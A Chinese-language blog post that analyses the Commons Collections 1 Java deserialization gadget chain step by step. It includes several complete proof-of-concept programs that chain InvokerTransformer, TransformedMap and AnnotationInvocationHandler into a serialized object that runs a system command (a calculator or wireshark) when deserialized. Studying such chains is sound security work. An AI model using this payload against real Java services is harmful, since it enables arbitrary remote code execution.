Commons Collections 1 调用链

Commons Collections 1 调用链

本地环境:

JDK1.7.0_80
commons-collections:3.1

package com.tyut.CommonsCollection1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException, IOException {
        // 定义需要执行的本地系统命令
        String cmd = "open /System/Applications/Calculator.app";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 创建Map对象
        Map map = new HashMap();
        map.put("value", "value");

        // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
        Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

        // 获取AnnotationInvocationHandler类对象
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        // 获取AnnotationInvocationHandler类的构造方法
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object instance = constructor.newInstance(Target.class, transformedMap);

        FileOutputStream fileOutputStream = new FileOutputStream("serialize1.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(instance);

        FileInputStream fileInputStream = new FileInputStream("serialize1.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        objectInputStream.readObject();
    }
}

pom.xml添加依赖:

commons-collections:3.1

<dependency>
	<groupId>commons-collections</groupId>
  <artifactId>commons-collections</artifactId>
  <version>3.1</version>
</dependency>

成功弹出计算器

分析

apache commons-collections.jar中的一条pop链CommonsCollections1,初次看的时候还是比较懵的,只能一步一步来分析看每一个函数的具体用法

Apache Commons Collections

Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用。

Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。

Apache Commons Collections中有一个特殊的接口,其中有一个实现该Transformer接口的类可以通过调用Java的反射机制来调用任意函数。

InvokerTransformer调用链

InvokerTransformer类,存在于org.apache.commons.collections.functors包,该类实现了Serializable接口

public class InvokerTransformer implements Transformer, Serializable {
    static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;
}

InvokerTransformer类的构造函数

 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;	//方法名称
        this.iParamTypes = paramTypes;	//方法所需要的参数类型
        this.iArgs = args;	//方法执行的具体参数
    }

InvokerTransformer类存在transform()方法

  1. 需要传递Object对象类型的一个实例对象input

  2. 通过反射invoke来调用了指定的iMethodName方法(注意:iMethodName,iParamTypes,args这三个参数是我们可以控制的,可以通过上面的构造函数进行传参)

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

我们模拟InvokerTransformer命令执行过程

通过构造函数传入需要的方法,通过调用transform(),利用反射执行我们传入对象的方法

package com.tyut.CommonsCollection1;

import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;

public class test1 {
    public static void main(String[] args) throws IOException {
         InvokerTransformer invokerTransformer = new InvokerTransformer(
                "exec",	// 传入要获取的方法
                new Class[]{String.class},	//该方法所需要的参数类型
                new String[]{"open /System/Applications/Calculator.app"}); //具体参数内容
        invokerTransformer.transform(Runtime.getRuntime());	//传入一个Runtime的一个实例

    }
}

ConstantTransformer 调用链

InvokerTransformer 让我们可以通过反射调用任意类的方法,也就是说我们可以调用任意类的方法了如:通过InvokerTransformer.transform()方法可以调用Runtime.getRuntime()的exec()方法了,但是如何可以控制传递任意类呢?想要控制Runtime.getRuntime(),而不是我们自己需要手动传递.

ConstantTransformer类,存在于org.apache.commons.collections.functors包,这个类同样实现了transform方法

package org.apache.commons.collections.functors;

import java.io.Serializable;
import org.apache.commons.collections.Transformer;

public class ConstantTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 6374440726369055124L;
    public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
    private final Object iConstant;

    public static Transformer getInstance(Object constantToReturn) {
        return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
    }

    public ConstantTransformer(Object constantToReturn) { //ConstantTransformer类的构造函数
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) { //成员方法
        return this.iConstant;
    }

    public Object getConstant() { //成员方法
        return this.iConstant;
    }
}
  1. 调用ConstantTransformer类的构造方法,传入Runtime.getRuntime()

  2. 调用ConstantTransformer类的成员方法transform(Object input),成功返回构造方法中传参的内容,即传入一个Runtime.getRuntime,最后返回这个类Runtime

  3. 唯一的意义就是它是Transform的子类,在CC链中很有意义!

    他的transform方法就很简单,就是返回iConstant,而this.iConstant又来自构造函数的参数,所以,如果我们实例化时传入一个Runtime.class返回的也是Runtime.class那么也就解决利用链开头的Runtime问题。

public class Test {
    public static void main(String[] args) throws IOException {
        ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
        Object transform = constantTransformer.transform(new Object());
        System.out.println(transform.getClass().getName());
    }
}
//java.lang.Runtime

ChainedTransformer 调用链

ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。

ChainedTransformer类的构造方法

    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

ChainedTransformer类的成员方法,该成员方法实现了Transformer的链式调用

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

第一次看到Transformer的链式调用的时候,不太理解啥意思,用下面这个列子说明

  1. 定义了一个数组Transformer[],该数组中中第1个为ConstantTransformer类,第2,3,4均为InvokerTransformer类

  2. 将这个数组对象transformers传入到ChainedTransformer类的构造方法中,利用构造函数将transformers数组对象赋值给变量iTransformers数组

  3. 然后调用ChainedTransformer的成员方法transform,每执行一次该方法,返回值作为下一次该方法的参数,即成为链式调用函数

    第一个调用的是ConstantTransformer类的transform方法,即成功获取了Runtime类

    第二个调用的是InvokerTransformer类的transform方法,利用反射获取到Runtime类中的getRuntime方法

    第三个调用的是InvokerTransformer类的transform方法,利用反射获取到Runtime类中的invoke方法

    第四个调用的是InvokerTransformer类的transform方法,利用反射获取到Runtime类中的exec方法,并执行参数cmd命令

package com.tyut.CommonsCollection1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class test3 {
    public static void main(String[] args) {
        // 定义需要执行的本地系统命令
        String cmd = "open /System/Applications/Calculator.app";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };


        //创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);


        // 执行对象转换操作
        transformedChain.transform(null);//这里为null的是 一开始的object为runtime类,而getRuntime则不需要参数
    }
}

TransformedMap 利用链

TransformedMap中,一共有三处函数使用了transform方法,分别是:

transformKey方法

  protected Object transformKey(Object object) {
        return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
    }

transformValue方法

  protected Object transformValue(Object object) {
        return this.valueTransformer == null ? object :this.valueTransformer.transform(object);
    }

checkSetValue 方法

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

我们不仅仅需要找到transform方法,应该是明确找到上一步分析得到的构造链ChainedTransformer.transform()方法

看到上面调用transform方法的对象分别为:keyTransformervalueTransformer

TransformedMap类中,可以我们寻找的keyTransformervalueTransformer,可以看到这2个变量类型是Transformer,而且是我们可以控制的,所以,在构造poc的时候只需要将他的值赋为我们精心构造的ChainedTransformer就行

但是我在构造的时候发现使用了transform的三个方法的访问权限都是protected,也就是不能直接被外部访问,我们只有迂回一下了,TransformedMap类中一共有四个方法访问权限是public:两个构造函数,如下:

   public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
        if (map.size() > 0) {
            Map transformed = decorated.transformMap(map);
            decorated.clear();
            decorated.getMap().putAll(transformed);
        }

        return decorated;
    }

  public Object put(Object key, Object value) {
        key = this.transformKey(key);
        value = this.transformValue(value);
        return this.getMap().put(key, value);
    }

    public void putAll(Map mapToCopy) {
        mapToCopy = this.transformMap(mapToCopy);
        this.getMap().putAll(mapToCopy);
    }

可以看到put方法调用了transformKey以及transformValue,这两个方法又都调用了transform方法,所以,我们可以通过调用实例化一个TransforomedMap对象

TransformedMap类decorate方法,返回一个TransformedMap的实例对象,然后调用对象的put方法,从而执行任意命令

半成品poc如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test5 {
    public static void main(String[] args) throws Exception{
        String cmd = "open /System/Applications/Calculator.app";
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","asdf");

        Map outerMap = TransformedMap.decorate(innerMap,null,chain);
        outerMap.put("name","axin");
    }
}

AnnotationInvocationHandler类

现在倒是找到了能够触发transform()的地方了,但是这还是不能在反序列化的时候自动触发呀,我们都知道反序列化只会自动触发函数readObject(),所以,接下来我们需要找到一个类,这个类重写了readObject(),并且readObject中直接或者间接的调用了刚刚找到的那几个方法:transformKey、transformValue、checkSetValue、put等等。

小知识点:

  1. TransformedMap是Map类型,

  2. TransformedMap里的每个entryset在调用setValue方法时会自动调用TransformedMap类的checkSetValue方法

​ 上面提到了entryset, 关于Map类型的entrySet()参考:https://blog.csdn.net/weixin_42956945/article/details/81637843

有了上面的结论,现在的策略进一步转换成:寻找一个重写了readObject方法的类,这个类的readObject方法中对某个Map类型的属性的entry进行了setValue操作!(当然这个属性需要我们可控)于是就找到了sun.reflect.annotation.AnnotationInvocationHandler类,这个类是jdk自带的,不是第三方的,只对JDK7有效,因为jdk1.8更新了sun.reflect.annotation.AnnotationInvocationHandler

jdk1.7相关的实现

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }

}

setValue操作,var5是this.memberValues中的一个entryset,并且memberValues是Map类型

var5.setValue()
Entry var5 = (Entry)var4.next();
Iterator var4 = this.memberValues.entrySet().iterator();

memberValues我们可控,构造poc时将memberValues设置为transformerdMap,那么就有可能触发setValue操作

还有个前提条件:

if条件!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)

var7 = (Class)var3.get(var6)

var3=var2.memberTypes()

var2=AnnotationType.getInstance(this.type)

而this.type是可控的

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

this.type就是构造函数的第一个参数(当然还是需要满足if条件才能赋值成功),所以,现在构造函数的第一个参数到底传什么才能满足我们的需求呢,首先它得继承Annotation,所以我们直接去找Annotation的子类,后面在看源码的过程中我才知道Annotation这个接口是所有注解类型的公用接口,所有注解类型应该都是实现了这个接口的,而漏洞作者用到的是java.lang.annotation.Retention.class这个注解类

构造出来完整的poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class POC4 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"wireshark"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","asdf");
        
        Map outerMap = TransformedMap.decorate(innerMap,null,chain);
        
        // 通过反射机制实例化AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

小细节:

1、java.lang.annotation.Retention.class确实能够使得我们的if条件成立,从而执行到var5.setValue()处
经过调试,我发现map的键值必须为"value",否则利用不成功

2、执行到setValue处,我们先停一停,准备填最后一个坑——为什么执行setValue就会自动调用前面提到的checkValue方法?

跟进setValue方法中看一看,从上图中我们已经可以看到var5的类型是AbstractInputCheckedMapDecorator$MapEntry,所以这里执行的的setValue也是调用的AbstractInputCheckedMapDecorator$MapEntry.setValue(),我们可以直接去setValue方法处下一个断点:

可以看到这里调用了this.parent.checkSetValue(),而我圈出来的地方也显示了this.parent的值是TransformedMap类型

posted @ 2022-03-31 21:41  lalalaxiaoyuren  阅读(61)  评论(0编辑  收藏  举报